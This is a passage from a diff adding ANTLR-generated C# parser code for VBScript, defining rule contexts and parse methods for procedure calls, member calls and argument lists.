listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_B_ProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_B_ProcedureCall(this); + } + } + + [RuleVersion(0)] + public ICS_B_ProcedureCallContext iCS_B_ProcedureCall() { + ICS_B_ProcedureCallContext _localctx = new ICS_B_ProcedureCallContext(Context, State); + EnterRule(_localctx, 260, RULE_iCS_B_ProcedureCall); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2763; + certainIdentifier(); + State = 2764; + noParenthesisArgs(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_B_MemberProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT() { return GetToken(VBScriptParser.DOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public NoParenthesisArgsContext noParenthesisArgs() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + public ICS_B_MemberProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_B_MemberProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_B_MemberProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_B_MemberProcedureCall(this); + } + } + + [RuleVersion(0)] + public ICS_B_MemberProcedureCallContext iCS_B_MemberProcedureCall() { + ICS_B_MemberProcedureCallContext _localctx = new ICS_B_MemberProcedureCallContext(Context, State); + EnterRule(_localctx, 262, RULE_iCS_B_MemberProcedureCall); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2767; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,461,Context) ) { + case 1: + { + State = 2766; + implicitCallStmt_InStmt(); + } + break; + } + State = 2769; + Match(DOT); + State = 2770; + ambiguousIdentifier(); + State = 2772; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,462,Context) ) { + case 1: + { + State = 2771; + typeHint(); + } + break; + } + State = 2775; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,463,Context) ) { + case 1: + { + State = 2774; + noParenthesisArgs(); + } + break; + } + State = 2778; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,464,Context) ) { + case 1: + { + State = 2777; + defaultMemberAccess(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ImplicitCallStmt_InStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_MembersCallContext iCS_S_MembersCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_ProcedureOrArrayCallContext iCS_S_ProcedureOrArrayCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_DefaultMemberAccessContext iCS_S_DefaultMemberAccess() { + return GetRuleContext(0); + } + public ImplicitCallStmt_InStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_implicitCallStmt_InStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterImplicitCallStmt_InStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitImplicitCallStmt_InStmt(this); + } + } + + [RuleVersion(0)] + public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + ImplicitCallStmt_InStmtContext _localctx = new ImplicitCallStmt_InStmtContext(Context, State); + EnterRule(_localctx, 264, RULE_implicitCallStmt_InStmt); + try { + State = 2784; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,465,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 2780; + iCS_S_MembersCall(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 2781; + iCS_S_VariableOrProcedureCall(); + } + break; + case 3: + EnterOuterAlt(_localctx, 3); + { + State = 2782; + iCS_S_ProcedureOrArrayCall(); + } + break; + case 4: + EnterOuterAlt(_localctx, 4); + { + State = 2783; + iCS_S_DefaultMemberAccess(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_VariableOrProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + public ICS_S_VariableOrProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_VariableOrProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_VariableOrProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_VariableOrProcedureCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + ICS_S_VariableOrProcedureCallContext _localctx = new ICS_S_VariableOrProcedureCallContext(Context, State); + EnterRule(_localctx, 266, RULE_iCS_S_VariableOrProcedureCall); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2786; + ambiguousIdentifier(); + State = 2788; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,466,Context) ) { + case 1: + { + State = 2787; + typeHint(); + } + break; + } + State = 2791; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,467,Context) ) { + case 1: + { + State = 2790; + defaultMemberAccess(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_ProcedureOrArrayCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BaseTypeContext baseType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_NestedProcedureCallContext iCS_S_NestedProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] LPAREN() { return GetTokens(VBScriptParser.LPAREN); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN(int i) { + return GetToken(VBScriptParser.LPAREN, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] RPAREN() { return GetTokens(VBScriptParser.RPAREN); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN(int i) { + return GetToken(VBScriptParser.RPAREN, i); + } + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext[] argsCall() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall(int i) { + return GetRuleContext(i); + } + public ICS_S_ProcedureOrArrayCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_ProcedureOrArrayCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_ProcedureOrArrayCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_ProcedureOrArrayCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_ProcedureOrArrayCallContext iCS_S_ProcedureOrArrayCall() { + ICS_S_ProcedureOrArrayCallContext _localctx = new ICS_S_ProcedureOrArrayCallContext(Context, State); + EnterRule(_localctx, 268, RULE_iCS_S_ProcedureOrArrayCall); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2796; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,468,Context) ) { + case 1: + { + State = 2793; + ambiguousIdentifier(); + } + break; + case 2: + { + State = 2794; + baseType(); + } + break; + case 3: + { + State = 2795; + iCS_S_NestedProcedureCall(); + } + break; + } + State = 2799; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 2798; + typeHint(); + } + } + + State = 2802; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2801; + Match(WS); + } + } + + State = 2815; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2804; + Match(LPAREN); + State = 2806; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,471,Context) ) { + case 1: + { + State = 2805; + Match(WS); + } + break; + } + State = 2812; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & -9038161502195941409L) != 0) || ((((_la - 197)) & ~0x3f) == 0 && ((1L << (_la - 197)) & 70249505L) != 0)) { + { + State = 2808; + argsCall(); + State = 2810; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2809; + Match(WS); + } + } + + } + } + + State = 2814; + Match(RPAREN); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2817; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,474,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2820; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,475,Context) ) { + case 1: + { + State = 2819; + defaultMemberAccess(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_NestedProcedureCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + public ICS_S_NestedProcedureCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_NestedProcedureCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_NestedProcedureCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_NestedProcedureCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_NestedProcedureCallContext iCS_S_NestedProcedureCall() { + ICS_S_NestedProcedureCallContext _localctx = new ICS_S_NestedProcedureCallContext(Context, State); + EnterRule(_localctx, 270, RULE_iCS_S_NestedProcedureCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2822; + ambiguousIdentifier(); + State = 2824; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 2823; + typeHint(); + } + } + + State = 2827; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2826; + Match(WS); + } + } + + State = 2829; + Match(LPAREN); + State = 2831; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,478,Context) ) { + case 1: + { + State = 2830; + Match(WS); + } + break; + } + State = 2837; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & 9007304807790147582L) != 0) || ((((_la - 68)) & ~0x3f) == 0 && ((1L << (_la - 68)) & -8087550153692545025L) != 0) || ((((_la - 132)) & ~0x3f) == 0 && ((1L << (_la - 132)) & -9038161502195941409L) != 0) || ((((_la - 197)) & ~0x3f) == 0 && ((1L << (_la - 197)) & 70249505L) != 0)) { + { + State = 2833; + argsCall(); + State = 2835; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2834; + Match(WS); + } + } + + } + } + + State = 2839; + Match(RPAREN); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_MembersCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_ProcedureOrArrayCallContext iCS_S_ProcedureOrArrayCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_MemberCallContext[] iCS_S_MemberCall() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_MemberCallContext iCS_S_MemberCall(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + public ICS_S_MembersCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_MembersCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_MembersCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_MembersCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_MembersCallContext iCS_S_MembersCall() { + ICS_S_MembersCallContext _localctx = new ICS_S_MembersCallContext(Context, State); + EnterRule(_localctx, 272, RULE_iCS_S_MembersCall); + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2843; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,481,Context) ) { + case 1: + { + State = 2841; + iCS_S_VariableOrProcedureCall(); + } + break; + case 2: + { + State = 2842; + iCS_S_ProcedureOrArrayCall(); + } + break; + } + State = 2846; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 2845; + iCS_S_MemberCall(); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 2848; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,482,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 2851; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,483,Context) ) { + case 1: + { + State = 2850; + defaultMemberAccess(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_MemberCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT() { return GetToken(VBScriptParser.DOT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_VariableOrProcedureCallContext iCS_S_VariableOrProcedureCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ICS_S_ProcedureOrArrayCallContext iCS_S_ProcedureOrArrayCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public ICS_S_MemberCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_MemberCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_MemberCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_MemberCall(this); + } + } + + [RuleVersion(0)] + public ICS_S_MemberCallContext iCS_S_MemberCall() { + ICS_S_MemberCallContext _localctx = new ICS_S_MemberCallContext(Context, State); + EnterRule(_localctx, 274, RULE_iCS_S_MemberCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2854; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2853; + Match(WS); + } + } + + State = 2856; + Match(DOT); + State = 2858; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2857; + Match(WS); + } + } + + State = 2862; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,486,Context) ) { + case 1: + { + State = 2860; + iCS_S_VariableOrProcedureCall(); + } + break; + case 2: + { + State = 2861; + iCS_S_ProcedureOrArrayCall(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ICS_S_DefaultMemberAccessContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public DefaultMemberAccessContext defaultMemberAccess() { + return GetRuleContext(0); + } + public ICS_S_DefaultMemberAccessContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_iCS_S_DefaultMemberAccess; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterICS_S_DefaultMemberAccess(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitICS_S_DefaultMemberAccess(this); + } + } + + [RuleVersion(0)] + public ICS_S_DefaultMemberAccessContext iCS_S_DefaultMemberAccess() { + ICS_S_DefaultMemberAccessContext _localctx = new ICS_S_DefaultMemberAccessContext(Context, State); + EnterRule(_localctx, 276, RULE_iCS_S_DefaultMemberAccess); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2864; + defaultMemberAccess(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgsCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ArgCallContext[] argCall() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgCallContext argCall(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] SEMICOLON() { return GetTokens(VBScriptParser.SEMICOLON); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON(int i) { + return GetToken(VBScriptParser.SEMICOLON, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public ArgsCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_argsCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArgsCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArgsCall(this); + } + } + + [RuleVersion(0)] + public ArgsCallContext argsCall() { + ArgsCallContext _localctx = new ArgsCallContext(Context, State); + EnterRule(_localctx, 278, RULE_argsCall); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 2878; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,490,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2867; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,487,Context) ) { + case 1: + { + State = 2866; + argCall(); + } + break; + } + State = 2870; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2869; + Match(WS); + } + } + + State = 2872; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2874; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,489,Context) ) { + case 1: + { + State = 2873; + Match(WS); + } + break; + } + } + } + } + State = 2880; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,490,Context); + } + State = 2881; + argCall(); + State = 2894; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,494,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 2883; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 2882; + Match(WS); + } + } + + State = 2885; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2887; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,492,Context) ) { + case 1: + { + State = 2886; + Match(WS); + } + break; + } + State = 2890; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,493,Context) ) { + case 1: + { + State = 2889; + argCall(); + } + break; + } + } + } + } + State = 2896; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,494,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ArgCallContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYVAL() { return GetToken(VBScriptParser.BYVAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BYREF() { return GetToken(VBScriptParser.BYREF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PARAMARRAY() { return GetToken(VBScriptParser.PARAMARRAY, 0); } + public ArgCallContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_argCall; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterArgCall(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitArgCall(this); + } + } + + [RuleVersion(0)] + public ArgCallContext argCall() { + ArgCallContext _localctx = new ArgCallContext(Context, State); + EnterRule(_localctx, 280, RULE_argCall); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 2899; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,495,Context) ) { + case 1: + { + State = 2897; + _la = TokenStream.LA(1); + if ( !(_la==BYVAL || _la==BYREF || _la==PARAMARRAY) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 2898; + Match(WS); + } + break; + } + State = 2901; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class DefaultMemberAccessContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EXCLAMATIONMARK() { return GetToken(VBScriptParser.EXCLAMATIONMARK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + public DefaultMemberAccessContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_defaultMemberAccess; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterDefaultMemberAccess(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitDefaultMemberAccess(this); + } + } + + [RuleVersion(0)] + public DefaultMemberAccessContext defaultMemberAccess() { + DefaultMemberAccessContext _localctx = new DefaultMemberAccessContext(Context, State); + EnterRule(_localctx, 282, RULE_defaultMemberAccess); + try { + EnterOuterAlt(_localctx, 1); + { + State = 2903; + Match(EXCLAMATIONMARK); + State = 2904; + ambiguousIdentifier(); + State = 2906; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,496,Context) ) { + case 1: + { + State = 2905; + typeHint(); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } 